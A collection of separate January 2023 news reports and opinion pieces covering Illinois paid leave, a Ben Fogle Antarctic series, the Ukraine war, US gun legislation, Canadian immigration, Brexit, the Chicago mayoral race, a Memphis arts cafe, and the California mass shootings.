What reasonable argument could be constructed against this humble and humane provision? We cant think of one.

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The U.S. is an outlier among developed countries when it comes to mandating at least some paid time off. That means the lowliest workers, those with the least ability to bargain for better, are the most vulnerable to getting no leave at all, whether it be for vacation, illness or to care for a family member, either ailing or newly arrived. The vast majority of legally employed Illinoisans already enjoy much better leave policies, of course, as voluntarily provided. But its not true of everyone.

We understand that many Illinois businesses believe that Springfield has created a whole barrage of legislation and red tape designed to increase their costs of doing business and make it harder to thrive here. So stipulated. But this particular bill doesnt fall into that category and, we believe, will actually incentivize employees to stay in their positions.

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If you need time off for a personal emergency, and you have no leave accrued, what is your most likely recourse? You quit. But if your employer is giving you a few paid days, say, to schedule a surgery that needs doing, then not only are you going to feel better about where you work but you are more likely to stick around to enjoy the benefit.

The pandemic taught us all that a sick employee showing up for work instead of losing money can end up putting colleagues at risk, leading to entire teams falling ill, causing chaos in the workplace. And since most employers are doing better than this already, the cost of a weeks paid leave should be manageable.

Thats likely why the Illinois Manufacturers Association is not opposing this bill. Earlier in the process, the bill looked set to be overambitious and excessively difficult for businesses.

For example, there initially was a plan to piggyback the proposed state requirement on top of existing mandates from individual municipalities for paid leave. That would have been a reach and against the spirit of this bill, which is to say that at least a weeks paid leave each year to deal with life is reasonable enough and undeniably fair for all workers. If youre getting it elsewhere, thats great.

Given the brevity of this leave, as proposed, it makes sense to keep it simple and let employees use it to recharge their batteries, or to get well, or to look after a loved one, and to make their own choice. We think that will be good for Illinois business in the long run.

A weeks paid leave for all Illinoisans, at a minimum, is what Pritzker is being asked to sign. And sign he should.

Join the discussion on Twitter @chitribopinions and on Facebook.

Submit a letter, of no more than 400 words, to the editor here or email letters@chicagotribune.com.
Dwayne Fields and Ben Fogle will re-live the Antarctic journeys of Captain Robert Falcon Scott, Sir Ernest Shackleton and Roald Amundsen. (Channel 5/PA)

Ben Fogle is set to recreate Captain Robert Falcon Scott, Sir Ernest Shackleton and Roald Amundsen's Antarctic exploration journeys using only Edwardian trekking equipment.

The presenter is making a new three-part series for Channel 5, Endurance: Race To The Pole, which he has described as a "dream project".

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Adventurer Fogle, 49, will only have Edwardian equipment, food supplies and shelter which the three adventurers used at his disposal in the gruelling polar mission.

He said: "This is a dream project for me. I have held a lifelong fascination with this period of heroic polar exploration and now I get the chance to experience immersive, living history myself by wearing the same clothes, eating the same type of food, pulling the same-style sled and sleeping in the same canvas tent.

Ben Fogle will only be able to use Edwardian equipment. (Channel 5/PA)

"This will give me a better understanding about the heroics and the sacrifices made by these brave men more than a hundred years ago in one of the harshest most unforgiving places on earth.

"Having raced to the pole myself in 2008 wearing modern equipment, now I get to experience the harsh Antarctic wilderness as they did."

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In 2009, Fogle skied over 750km to the South Pole, and was beaten by a Norwegian team.

Fogle and polar explorer Dwayne Fields will look at why Amundsen triumphed in his trek while Scott and Shackleton failed, exploring their bitter rivalry and the crucial decisions they made.

Ben Fogle says the expedition is a dream come true. (AFP via Getty Images)

On December 14 1911, Norwegian Amundsen became the first man to reach the South Pole  35 days ahead of Scott, whose body was found along with those of the other members of his party 13 months after they disappeared on their mission.

Shackleton made several trips to Antarctica, first reaching within 400 miles of the South Pole in 1902, and he came even closer seven years later  just 97 miles from his goal  but had to turn back due to lack of food.

In 1915, his crew set out in the ship Endurance but were unable to reach land and became trapped in dense pack ice, forcing the 28 men on board eventually to abandon ship.

They were stuck in the ice for around 10 months before escaping in lifeboats and on foot.
Washington  The Biden administration has raised concerns with the Chinese government about Chinese companies selling non-lethal military aid to Russia for Moscow's use in Ukraine, CBS News has confirmed.

Chinese companies are providing non-lethal military assistance and economic support that stops short of wholesale sanctions evasion, sources familiar with the situation tell CBS News. U.S. officials view this as a significantly scaled-down version of the Chinese government's initial plan when the war in Ukraine started, which was to sell lethal weapons systems for Russia's use on the battlefield. Bloomberg was first to report that that U.S. raised such concerns with the Chinese.

The U.S. continues to see "concerning" activity from Chinese companies, but it's unclear which elements the Chinese government is aware of, the sources said. The U.S. is closely monitoring the situation between China and Russia, and has been since Russia invaded Ukraine nearly one year ago. The U.S. plans to continue to communicate to China the implications of providing material support to Russia's war on Ukraine.The sources could not share what China's response was to the U.S. raising concerns, and could not provide specifics on the type of equipment Chinese companies have sold to Russia.

President Biden has described China as the "biggest challenge to international order," and has expressed his criticism of China's position toward Russia.

Although Mr. Biden and Chinese President Xi Jinping have met many times in person and virtually before, November marked their first in-person meeting since Mr. Biden became president two years ago.

China and Russia see the U.S. in their crosshairs at United Nations

Russia's war on Ukraine shows no end in sight as the one-year mark approaches. Poland will ask the German government for permission to supply the German-made Leopard main battle tanks to Ukraine, Poland's prime minister said Monday. Ukraine continues to plead with western countries to provide military assistance.

Story continues

Indiana Rep. Jim Banks says he is confident Pence handled documents in 'proper way'

Giant iceberg breaks away from the Brunt Ice Shelf in Antarctica

Dog owner reacts after seeing her dog walk for the first time since physical therapy
President Biden on Monday praised a contingent of Senate Democrats who earlier in the day introduced a pair of bills to ban military-style weapons and high-capacity magazines as well as raise the age of purchasing them to 21 years old.

Biden cited recent shootings across the U.S., including those at a gay nightclub in Colorado Springs, Colo., and in Monterey Park, Calif., in which both gunmen used similar style weapons.

Democratic Sens. Dianne Feinstein (Calif.), Richard Blumenthal (Conn.) and Chris Murphy (Conn.) introduced bills one day after a gunman shot and killed 11 people at a Lunar New Year celebration in Monterey Park.

The Senate bills intend to prohibit the sale, transfer, manufacture and importation of military-style assault weapons and high-capacity magazines and raise the age to buy assault weapons from 18 to 21, according to a statement by Feinstein.

Biden noted that Feinstein joined him in 1994 when the Senate passed an assault weapons ban that prohibited such sales for 10 years. Congress has been unable to pass anything similar since that bill expired in 2004.

Biden has long been vocal in urging Congress to take up an assault weapons ban, even though neither chamber has enough votes for such a measure to pass.

Nonetheless, Biden continues to advocate for a bill to get to his desk.

The majority of the American people agree with this common sense action, he added. There can be no greater responsibility than to do all we can to ensure the safety of our children, our communities, and our nation.

Biden signed a bipartisan gun safety bill into law over the summer in the wake of a shooting at a supermarket in Buffalo, N.Y., and at an elementary school in Uvalde, Texas.

The law strengthened background checks for gun buyers between the ages of 18 and 21, makes obtaining firearms through straw purchases or trafficking a federal offense, and clarifies the definition of a federally licensed firearm dealer.

Story continues

It also closed the boyfriend loophole by preventing those convicted of a misdemeanor crime of violence involving a current or former romantic partner from possessing a firearm for at least five years.

In her statement, Feinstein noted the shooting at a Lunar New Year celebration in her home state.

The constant stream of mass shootings have one common thread: they almost all involve assault weapons. Its because these weapons were designed to kill as many people as quickly as possible, Feinstein said. They have no business in our communities or schools. Its time we stand up to the gun lobby and remove these weapons of war from our streets, or at the very least keep them out of the hands of young people.

Updated on Jan. 24 at 8:46 a.m.

For the latest news, weather, sports, and streaming video, head to The Hill.
Experts hope immigration-fuelled population growth will create economies of scale for Canada's energy transition. (GETTY)

Canada's population is rising at the quickest pace since the height of the post-war baby boom as Ottawa targets almost 1.5 million new permanent residents by the end of 2025. That's good news for a nation with an aging workforce and stubbornly-tight labour market. But what about reaching net-zero by 2050? Can a larger Canada achieve meaningfully lower emissions?

Simple math suggests more people means more heating, lighting, and general demand for energy. Owing partly to its large geography, dispersed population, and wide range of temperatures, Canada had the worst per-capita lifestyle-related carbon emissions record by far in a recent analysis of 10 economies spanning various income levels.

At the same time, the nation's population is booming. Statistics Canada data show Canada is growing at the fastest clip since the second quarter of 1957. International migration accounted for 94 per cent of the 362,453-person increase seen in the third quarter, according to the agency. This sent the national population above 39 million for the first time.

Growth is set to pick up in the coming years. Ottawa's annual immigration plan released in November calls for 465,000 permanent residents in 2023, 485,000 in 2024, and 500,000 in 2025 to counter "critical labour market shortages causing uncertainty for Canadian businesses and workers."

"I think the government's preference is to think about immigration to enhance the economy, and then enable green investment," Bruce Newbold, a professor at McMaster University's School Of Earth, Environment & Society, said in an interview. "There are challenges, yes, in terms of that relationship between immigration and energy use."

Andrew Leach, an energy and economics professor at the University of Alberta, says it's essential to consider both sides of the supply-demand equation when it comes to Canada's immigration-fuelled population growth. Immigrants add to the labour supply, but also push up demand through increased consumption.

Story continues

"One of those demand items is also going to be energy. All else equal, more energy consumption will mean more emissions," he told Yahoo Finance Canada.

"But I think you need to include consideration of where we need to end up re: net-zero, which is rapid decarbonization of household and transportation energy use."

Last April, the Intergovernmental Panel of Climate Change (IPCC) released a report calling for swift action by world leaders to avoid the worst potential impacts of the climate crisis. Canada was identified as one of the highest per-capita emissions producers among developed countries, alongside Australia and the United States.

Its going to take a lot more investment to meet these goals.Bruce Newbold, professor at McMaster Universitys School Of Earth, Environment & Society

In late-2021, Royal Bank of Canada pegged the cost of transitioning Canada's economy to net-zero emissions at $2 trillion over the next 30 years. The bank's report calls the 13-digit sum "hefty," but "affordable." Of course, that was some time before widespread calls for a recession in 2023.

Among today's headwinds for Canada's economy is a persistent skilled labour shortage, which factors into scarce affordable housing in cities where new immigrants typically settle. The situation prompted the federal government last week to bolster a program for construction workers who have overstayed work permits or visas to become permanent residents.

Canada Mortgage and Housing Corporation figures released earlier this month show urban housing starts actually declined year-over-year in 2022. Meanwhile, Statistics Canada data show cities seeing their strongest population growth in over two decades.

Mike Moffatt, senior director of policy and innovation at the Smart Prosperity Institute, says building affordable urban density will help lower emissions through more efficient buildings and less reliance on cars.

"Size does matter," he said. "It's one of the reasons larger population cities tend to have a lower carbon footprint [per capita]."

On top of the housing supply issue, Moffatt says Canada lacks the labour capacity to hit ambitious green building retrofit targets set by Ottawa.

"If we do it right, bringing in more of a skilled workforce actually helps us make those investments," he said. "Adding more people doesn't necessarily make the situation better, but it provides the raw ingredients."

Moffatt says new residents in regions like Quebec, where electricity is virtually emissions-free and EVs are more popular than average, will be inclined to have a smaller carbon footprint. However, he also expects those who settle in areas where more fossil fuel is needed to play an important role.

"Let's say we had a bunch of people locate in rural Saskatchewan. Ironically, that actually might make it easier for Saskatchewan to make investments in new power generation, and close existing coal plants," he said. "The analysis gets kind of complex."

Leach sees climate-friendly economies of scale kicking in as Canada's population grows.

"As we move toward vehicle and home electrification, and decarbonization of our electricity supply, adding more people doesn't change the trajectory much," he said. "Insofar as we have more distributed energy storage, generation, and demand response, more people add more flexibility to our power systems."

Leach also notes that some of Canada's worst-emitting sectors, like oil and gas production, are export-oriented, and therefore subject to the whims of global markets more so than forces within Canada.

"More domestic immigration doesn't really change the global market for Canadian commodities," he said.

For McMaster professor Newbold, the correlation is clear. Canada's population must get bigger before its economy can become greener.

"If we don't have immigration, our economy is not going to prosper, and we're not going to be able to pay for those investments that we need in order to make a green economy," he said.

"It's going to take a lot more investment to meet these goals."

Jeff Lagerquist is a senior reporter at Yahoo Finance Canada. Follow him on Twitter @jefflagerquist.

Download the Yahoo Finance app, available for Apple and Android.
Azerbaijani President Ilham Aliyev has been urged by U.S. Secretary of State Antony J. Blinken to reopen the Lachin Corridor. (Associated Press)

Wading into a festering conflict in the volatile Caucasus region, the United States' top diplomat on Monday demanded that Azerbaijan open a disputed corridor to Armenia before its closure results in a humanitarian disaster.

The Lachin Corridor is the only land link between Armenia and the breakaway enclave of Nagorno-Karabakh, which is located within Azerbaijan but populated by ethnic Armenians.

The two countries have frequently clashed over the territory; a war two years ago killed nearly 7,000 soldiers and displaced tens of thousands of civilians in a matter of weeks.

U.S. Secretary of State Antony J. Blinken telephoned Azerbaijans president, Ilham Aliyev, to urge the immediate reopening of the four-mile corridor to commercial traffic, spokesman Ned Price said.

He underscored that the risk of a humanitarian crisis  undermined prospects for peace between Armenia and Azerbaijan," Price said.

The Biden administration is under pressure from some members of Congress who have voiced support for Armenian causes, such as labeling the early 20th century slaughter of Armenians under the Ottoman Empire a genocide.

In a letter to Blinken 11 days ago, Sen. Robert Menendez (D-N.J.), who chairs the Senate Foreign Relations Committee, accused Azerbaijan of blocking the movement of 120,000 Nagorno-Karabakh residents, effectively holding them hostages.

This blockade is imposing devastation on an already vulnerable region, Menendez wrote, by creating severe food and medicine shortages over the last month.

The letter was co-signed by Sen. Jack Reed (D-R.I.), who chairs the Senate Armed Services Committee.

Azerbaijan maintains that transit is being disrupted by protesters who are angry over illegal mining in the area, purportedly by Armenians. But Menendez, other U.S. and European officials and pro-Armenia activists in the U.S. say the blame lies with Aliyev.

The truce in late 2020 was brokered in large part by Russia, which deployed a contingent of troops to keep the peace. However, by most accounts, they have not acted to open the corridor, leading to questions about their role. Some observers think the war in Ukraine has sapped Russias willingness to provide robust monitoring in Azerbaijan and Armenia.

Story continues

But officials in the U.S. and in Europe worry that Azerbaijan and Armenia could easily slip back into armed conflict, which could spark a wider war.

Russia was traditionally an ally of Armenia, while Azerbaijan is backed by NATO member Turkey. As a further complication, the U.S. is at odds with Turkey on several issues, including NATO expansion and fighter jets that Ankara wants to purchase; additionally, Turkey has become increasingly friendly with Moscow.

Blinken met with the foreign ministers of Armenia and Azerbaijan in September on the sidelines of the United Nations General Assembly. A brief spasm of deadly fighting had broken out. But the meeting apparently produced little more than a pledge to work for peace, without a road map for doing so.

This story originally appeared in Los Angeles Times.
Germany is expected to approve Poland's request to deliver German-made Leopard 2 tanks to Ukraine on Jan. 25, Bloomberg reported, citing unnamed sources familiar with the matter.

"Berlin wants to make a decision on the issue quickly to quell growing frustration among allies, said the people, who asked not to be identified because the decision is private," Bloomberg wrote.

Poland officially requested Germany's approval on the tank supply on Jan. 24, after saying earlier that it was ready to give Ukraine a company of tanks, which normally consists of 14 tanks.

Earlier on Jan. 22, Prime Minister Mateusz Morawiecki said that if Berlin doesn't authorize the tank supplies, Poland will create a coalition of allies without Germany to provide Leopards to Kyiv anyway.

Earlier on Jan. 24, ABC News reported, citing an unnamed Ukrainian official, that 12 countries are ready to provide about 100 Leopard 2 tanks to Ukraine once Germany approves. The agreement was made at the recent Ramstein defense summit, according to the official cited by ABC News.

Aside from Poland and Finland, which publicly declared their willingness to supply Leopards, other countries ready to send the tanks to Ukraine include Denmark, the Netherlands, and Spain, ABC News said.
CHICAGO (CBS) -- The body of a deceased man was finally found in the South Chicago neighborhood late Monday after days missing.

The body vanished along with a van stolen from a Rockford funeral home over the weekend. The van was found Sunday, but the corpse was not found until a day later  more than two miles away.

As CBS 2's Jermont Terry reported, the family trying to bury their loved one has some sort of relief, since investigators finally knew where their corpse was Monday night. Yet it remained unclear how the van was stolen in the first place, or who dumped the body in Chicago.

An anonymous 911 call brought Chicago Police to an alley near 83rd Street and Manistee Avenue, after someone thought they spotted a body in the road. When officers arrived, they confirmed what the caller saw.

The police presence in the South Chicago neighborhood caught neighbors' attention, and then more first responders arrived.

"An ambulance, fire truck, and I was just like: 'Oh, what's happening? Let me go do what I normally do - get on the porch and pay attention; try to figure it out,'" a neighbor said. "And then after that, I was just like, wow. They put out red tape. Let me get back in the house."

The red crime scene tape surrounded several abandoned homes on the block. The investigation spans all the way to Rockford  where over the weekend, a funeral home reported a van with a corpse stolen.

After days of looking for the van and the body, they both showed up in Chicago  separately.

Rockford Police said the van was stolen on Saturday afternoon from Collins & Stone Funeral Home. A dead man's body was a body bag in the cargo area at the time.

It was not clear whether the thief knew there body was a body inside upon stealing the van.

"The heck - they stole a body?" a witness said.

The van was found Sunday night in Chicago, with no body inside, according to Rockford police. Chicago police found the gray 2012 Chrysler Town & Country abandoned in the 1400 block of East 87th Street, near Dorchester Avenue  97 miles away from the Rockford funeral home from which it was stolen.

Story continues

The body was found at 4:29 p.m. Monday, police said. The corpse was that of a 47-year-old man, police said.

Late Monday, it remained unclear whether or not the family of the deceased man had been notified, and what recourse they have - if any.

Rockford police released surveillance images of a possible suspect, who was wearing a black hoodie, black pants, and gloves.

ALERT: Plz review these photos of the possible suspect in Saturday's funeral home van/body theft and contact us if you have any info. You can send anonymous tip to 847411, type in RPDTIP and your tip. pic.twitter.com/2Corljxcbb  RockfordILPolice (@RockfordPD) January 23, 2023

He is wanted not only for stealing as vehicle, but also abuse of the corpse for moving the body without authorization.

Meanwhile, we have learned that when the body found, it was not covered in a bag  it was just dumped. It has all left a family heartbroken and investigators stumped.

"I mean, I'm sorry that happened, honestly," the neighbor said.

We reached out to the Rockford funeral home, but they did not get back to us. We do not know whether the van was running or not when it was stolen.

Anyone who recognizes the suspect, or has any information on the theft of the van, is asked to call Rockford police at 815-966-2900. Anonymous tips also can be texted to 847411 by including RPDTIP at the start of your message.

Another mass shooting in California: CBS News Flash Jan. 24, 2023

At least 7 killed in two related shootings in Half Moon Bay, officials say

Police in Peru raid university in Lima amid growing protests
By Alistair Smout

LONDON (Reuters) - Britain and the European Union are unlikely to fundamentally change their underlying Brexit settlement, making sector-specific deals for financial services, fisheries and energy necessary to prevent more disruption, a report said.

The report from academic body UK In a Changing Europe (UKICE), published on Tuesday, said that despite a significant economic hit to Britain from leaving the bloc and falling support for Brexit among the British public, major changes in the UK-EU relationship were unlikely.

"Prospects of such a renegotiation are slim," UKICE Director Anand Menon said.

UKICE said polling it conducted in December showed 56% of Britons said they would vote to rejoin the EU, up from 45% in February, largely consistent with other polls.

However, Britain's governing Conservative Party is committed to Brexit and the opposition Labour Party is keen to avoid suggestions it would seek to unravel the post-2016 settlement.

Talks between Britain and the EU continue on how to implement post-Brexit arrangements which accommodate the largely open border between Northern Ireland, which is part of the United Kingdom, and EU member state Ireland.

"The immediate challenge is resolving the issues surrounding the Northern Ireland Protocol but even if this is achieved other deadlines and decisions are looming, relating to, for example, data exchange, electric cars, and fish," the report said.

UKICE said UK-EU relations were "far from either settled or stable" but neither side seemed likely to want to reassess the Trade and Cooperation Agreement (TCA) signed in December 2020 after more than four years of political argument.

"There appears to be little political space on either side of the Channel for a major reconsideration of the relationship or renegotiation of the TCA in the short term," it said, citing a lack of trust, the domestic politics of the UK and the benefits of the current deal to EU exporters.

"Changes to the relationship are likely to be slow and incremental in the immediate future," it said, adding science research, energy security and emissions trading might be areas where the current relationship could be deepened.

(Reporting by Alistair Smout. Editing by David Milliken)
U.S. Rep. Jesus Chuy Garcia concedes the mayoral race on election night, Feb. 28, 2023 at Apollos 2000 Theatre in Little Village. (Brian Cassella/Chicago Tribune)

U.S. Rep. Jesus Chuy Garcia launched his first TV ad of the 2023 mayoral election season Tuesday as he seeks to rebuild momentum in the campaigns final five weeks.

The commercial, called Home, features Garcia narrating as a camera pans over downtown Chicago and neighborhood houses before focusing on police evidence markers.

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This has always been home. But like many Chicago neighborhoods, too many nights we hear gunshots and face the reality of rising crime, Garcia says in the spot. Im Chuy Garcia, and enough is enough. Its time to get back to a safer Chicago now by getting more cops on our streets and illegal guns off of them.

[ Who's running for Chicago mayor? ]

The congressman then says he wants to expand community-based violence prevention programs and tackle the root causes of crime by investing in left behind neighborhoods.

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Because getting back to a safer Chicago cant wait, Garcia says.

For Garcia, the campaign commercial comes at a critical moment. He entered the race as a perceived front-runner due to his high name recognition from the 2015 mayoral race and his time in Congress. In recent weeks, however, Garcia has held onto more than $1.3 million dollars to spend closer to the Feb. 28 election, allowing his rivals to generate momentum of their own.

U.S. Rep. Jesus Chuy Garcia points to a likeness of his signature mustache on his nomination petitions before delivering them for his 2023 mayoral election at the Board of Elections on Nov. 28. (Armando L. Sanchez / Chicago Tribune)

Earlier this month, Garcia unveiled a plan for public safety that he said would include a fully funded Chicago Police Department and calls for hiring 1,600 more officers amid a spate of vacancies during the pandemic. His plan has drawn criticism from rival candidates Cook County Commissioner Brandon Johnson and Lightfoot herself, who accused Garcia of copying Lightfoots plan for public safety.

Lightfoot, who is facing a tough reelection fight, launched her first TV ads in November and spent more than $1.9 million on advertising in the final two months of the year, according to state elections board filings. Johnson and former Chicago Public Schools CEO Paul Vallas launched their own ads earlier this month in an attempt to break out in the nine-candidate field.

Lightfoots initial TV commercials attempted to address crime in Chicago and soften her image of combativeness as it showed clips from her inaugural address nearly four years ago talking about her upbringing and her parents, including her mother who attended the event.

Lightfoot is also airing an TV ad criticizing Garcia for ties to indicted former Illinois House Speaker Michael Madigan and alleged crypto fraudster Sam Bankman-Fried in an attempt to bloody up a top rival.

Tuesday, the mayors campaign released a statement repeating claims that Garcia is pilfering her platform and proposing initiatives shes already put in place.

If imitation is the sincerest form of flattery, then youd think Mr. Garcia was gearing up to cast his vote for Mayor Lightfoot again this year. No matter how many times he touts his recycled public safety plan, nothing can change the fact that while the mayor was working to get guns off our streets, hire more police officers, and invest in our communities, the congressman was speaking at rallies calling to defund the police, a campaign spokesperson said. Compare their records and youll see, clear as day, who is doing the work to make Chicagoans safer.

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gpratt@chicagotribune.com
On any given day, Memphis is a beautiful arts town. Specifically, Memphis is music.

We have the Blues Hall of Fame, the Memphis Rock n Soul Museum and Stax Museum of American Soul Music; and we should have Nashvilles National Museum of African American Music, but that is a discussion for another day.

I love Memphis. We are known for our creativity; but when it comes to supporting local artists in the community, there is very little infrastructure to help them thrive.

As the founder of Memphis Artists for Change, I recognize how detrimental this can be, and in response, I have opened Art House Cafe in the Soulsville community near Mississippi and Walker streets. A social enterprise concept, it is a space of our own that serves our own.

Hear more Tennessee voices:Get the weekly opinion newsletter for insightful and thought-provoking columns.

Infrastructure comes with a cost

My uncle was Freddie Butler, an entrepreneur in the Soulsville area since the 1980s. He initially owned the space that is now the Art House Cafe. It was originally a barbecue shop. His son and my cousin, Montana Trax (Kevin Butler), was a producer with certified Gold 1990s hip-hop duo, 8Ball and MJG. They are Memphis pioneers; for my community, they were our Isaac Hayes, Al Green and Johnny Cash and put their neighborhood, Orange Mound, on the map. Music is in my blood.

Art House Cafe offers infrastructure our artists need. At the cafe, we hang the art of local painters; we offer book signings and showcase homemade jewelry. Whats made a huge impact in our 1,200 square-foot home is our performance space in the back where we hold pop-up performances in the style of NPRs Tiny Desk intimate concerts. After these concerts, we provide edited video and photos for artist electronic promotional kits  at no cost to the artists. This type of support can be everything for musicians who are just getting started. Like Isaac or Al, our artists can go from dreamers to doers.

Story continues

As a poet and artist myself, I know how important it is to have help. But providing help shouldnt be so hard.

Sign up for Latino Tennessee Voices newsletter:Read compelling stories for and with the Latino community in Tennessee.

Sign up for Black Tennessee Voices newsletter:Read compelling columns by Black writers from across Tennessee.

Funding takes imagination and dedication

Art is my outlet. I use it for activism; it is my love language. While the idea for this space came in 2018, my team and I began working on it in 2019 and it launched this year. A mecca of cultural expression, at its core, it is a safe space for Black folks. From voter registration to discussing mayoral candidates, Art House Cafe is the ground zero spot where community and activism meet. We have a partnership with LeMoyne-Owen College, the only Historically Black College and University in Memphis. We work together symbiotically to fill and provide employment for a multidiscipline of graduates from marketing to education to social services. Were creating contractual and community service-based civic engagement.

To do all of that takes two things: funding and imagination.

Music is an outlet; it is an escape for so many  even for me. When Im in a mood or trying to figure something out, I put on some good music to hold me until I can get through. Who hasnt done that? Yet, how can we dance like no one is watching without the music?

Im constantly in a position with funders who just dont understand that providing infrastructure takes more than $5,000. It takes $50,000, $500,000, $5 million. We need grant organizations, investors and others to prioritize music arts in smaller communities like ours so that we can make a lasting impact that nourishes generations of artists and feeds their livelihood  and not with a two-piece chicken snack dinner.

Ive put my money where my mouth is. I want others to do the same.

Build where you are

We must continue to protect and provide a sacred, safe space for artists. Im doing my part, and I ask others to follow. Im reminded of the HGTV renovation show, Home Town, where the story is about a couple whos saving and rehabbing homes in their small town of Laurel, Mississippi, to keep and bring back folks to the town.

Soulsville, Memphis and towns like us are no different. With intentionality, my husband and I moved back to our home neighborhood of South Memphis. While we want to be the change we want to see, were also careful not to act like oppressors  we are not the type of folks who simply want to replace the colonizer. And there is a fine line to that, right? We want to be a different type of landlord in our hometown, and we know we can be examples for others to do the same. I think it is upon us, as Black folks specifically, to be the individuals who go back and buy our grandmothers vacant home and revitalize the area with our own dollars and our own faces  recolonize, if you will. This uprooting wont be for everyone, and some of us might feel like a sacrificial lamb going into the unknown  but imagine being the convoy who is willing to go first. Imagine.

We need to make space for our community, for our youth and for our artists. Without them, we have no life blood, no pulse on the pain and power that surrounds local citizens looking to make a difference, and ultimately create their own hall of fame. Lets do all that we can to support them.

Tameka Greer is the executive director of the Memphis Artists for Change and a member of the Black Southern Womens Collaborative.

This article originally appeared on Memphis Commercial Appeal: Opinion: How to create a reliable infrastructure for Memphis' artists
California Governor Gavin Newsom hugs (R) Thinh Luong, 46, a school teacher, in Monterey Park, California on January 23, 2023. Philip Cheung for The Washington Post via Getty Images

Gavin Newsom described meeting shooting victims when he was informed of a new attack.

On Monday, seven people were killed in Half Moon Bay near San Francisco.

It came after 11 were killed on Sunday in a shooting in Monterey Park near Los Angeles.

California Gov. Gavin Newsom said he was in the hospital meeting mass-shooting victims when he was pulled aside to be briefed on another mass shooting.

The state has been rocked by a series of mass shootings in recent days, with the latest incident on Monday when a man shot dead seven former co-workers in Half Moon Bay, south of San Francisco.

11 were killed Sunday in Monterey Park, near Los Angeles in an unconnected incident.

"At the hospital meeting with victims of a mass shooting when I get pulled away to be briefed about another shooting. This time in Half Moon Bay," tweeted Newsom. "Tragedy upon tragedy."

When visiting the scene of the Monterey Park shootings Monday, Newsom said that existing firearm legislation was inadequate.

"Nothing about this is surprising. Everything about this is infuriating," Newsom told CBS Evening News. "The Second Amendment is becoming a suicide pact."

California has some of the toughest gun laws in the US. Police have said that the Monterey Park shooter used a modified pistol in the attack, despite them being banned in the state.

Read the original article on Business Insider
California has been rocked by its third mass shooting in as many days as a teenager was killed and seven other victims injured in a shooting rampage at a gas station in Oakland.

The shooting unfolded just after 6pm on Monday evening at a Valera gas station along Seminary Avenue and Macarthur Blvd, according to the Oakland Police Department (OPD).

Law enforcement responded to the scene after being alerted to a shooting through ShotSpotter activity.

When officers arrived on the scene, there were no victims in sight  but shell casings left behind indicated what had unfolded.

Multiple victims suffering gunshot wounds had already self-transported to several area hospitals, OPD said.

Upon arrival, [officers] located shooting scene, they located casings, but no victims, said OPDs Kim Armstead in a press conference on Monday night.

Shortly thereafter, our communications division received notification of multiple gunshot wound victims, who self transported to local hospitals.

At least eight people were shot in the incident, with one victim  identified by his family as 18-year-old Mario Navarro  killed.

The other seven were in stable condition and are expected to survive.

Police have not confirmed what may have led up to the shooting but said that the investigation so far shows that several people may have exchanged gunfire.

Witnesses told local outlet KTVU that the shooting broke out during the filming of a music video.

The gas station in Oakland where the shooting unfolded on Monday (Fox2)

Devastated family members of the teenage victim were seen breaking down outside Highland Hospital after learning that Navarro  who graduated from high school this year  had died from his injuries.

He was really sweet, he was a really, like, he kinda liked music, but he was not like a really bad person. He was good, said Navarros cousin Olga Navarro.

Another woman said that her sister was among the shooting victims and called on the community to help solve the crime.

"Its really disheartening and difficult, you know, to deal with, but, you know, again, were relying on community support to help solve this incident, she said.

Story continues

Oakland Police have not said if any arrests have been made or who they may be seeking as a suspect.

Investigators were spotted gathering evidence from two cars thought to have driven victims to hospital, KTVU reported.

The shooting in Oakland marks the third mass shooting in California in just three days after a gunman shot dead 11 victims at a ballroom dance studio in Monterey Park and a farm worker allegedly killed seven coworkers at Half Moon Bay in San Francisco.

On Saturday night, thousands in the Asian-American community had gathered in Monterey Park to celebrate the Chinese Lunar New Year.

Hours later, 72-year-old gunman Huu Can Tran entered the Star Ballroom Dance Studio in Monterey Park and opened fire.

Eleven people were killed in the attack, with the death toll rising from 10 on Monday when another victim died from their injuries.

Star Ballroom Dance Studio in Monterey Park where a 72-year-old man shot dead 11 people (Copyright 2023 The Associated Press. All rights reserved)

Tran then drove to a second dance studio  Lai Lai Ballroom in nearby Alhambra  where a hero worker managed to wrestle a gun away from him.

The gunman then fled the scene and no one was injured in the second incident.

A huge manhunt was launched to track down the gunman, culminating around 12 hours later with a police standoff in Torrance, about 30 miles from Monterey Park.

Tran died from a self-inflicted gunshot wound in his white van.

The motive for that attack remains unclear but it has emerged that Tran was paranoid that his family had tried to poison him decades ago and that had gone to police with the allegations just weeks before he going on the shooting rampage.

Hemet Police revealed on Monday that Tran, 72, had visited the police department twice in early January  once on 7 January and then again on 9 January  alleging past fraud, theft, and poisoning allegations involving his family in the Los Angeles area 10 to 20 years ago.

The gunman told police he would return with documentation to prove his allegations but he never returned.

Tran met his former wife at the Star Ballroom Dance Studio. The pair divorced in 2006.

Less than 48 hours on from the massacre, another mass shooting unfolded on the outskirts of Half Moon Bay in San Francisco on Monday.

Police investigate the scene of a mass shooting off Cabrillo Highway in Half Moon Bay (Bay Area News Group 2022)

Seven people were killed across two locations at agricultural businesses  a mushroom farm and a trucking facility  before a suspect was taken into custody.

The gunman shot dead four victims and wounded a fifth at the farm, before shooting another three victims dead at the second business located a few miles away, according to authorities.

Chunli Zhao, a 67-year-old worker at the mushroom farm, was found sitting in his car in the parking lot of a sheriffs substation and was taken into custody, San Mateo County Sheriff Christina Corpus said.

The motive for the attack remains unclear but Mr Zhao and the victims all worked at the businesses.

California Governor Gavin Newsom was in Monterey Park meeting with victims of Saturdays mass shooting when he learned about the shooting at Half Moon Bay.

At the hospital meeting with victims of a mass shooting when I get pulled away to be briefed about another shooting. This time in Half Moon Bay. Tragedy upon tragedy, he tweeted.
(Reuters) -Back-to-back mass shootings in California have claimed the lives of people who loved to dance at a studio in Monterey Park and farm workers in the coastal community of Half Moon Bay.

MONTEREY PARK VICTIMS

Eleven people were killed when a 72-year-old gunman opened fire late Saturday during a celebration of the Lunar New Year at the Star Ballroom Dance Studio in Monterey Park, east of Los Angeles.

The Los Angeles County coroner's office has confirmed the names of the victims. There were six women killed: My My Nhan, 65; Lilan Li, 63; Xiujuan Yu, 57; Muoi Dai Ung, 67; Hongying Jian, 62; and Diana Man Ling Tom, 70. The five men who were killed were identified as Yu Lun Kao, 72; Chia Ling Yau, 76; Valentino Marcos Alvero, 68; Wen Tau Yu, 64; and Ming Wei Ma, 72.

The Chinese consulate in Los Angeles said Chinese citizens were among the dead. Taiwan's de facto consulate in Los Angeles said two Taiwanese expatriates also were killed.

Yu's niece, Kathleen Fong, said on social media that her aunt emigrated from China more than a decade ago and was working hard with her husband and children to create a new life for themselves.

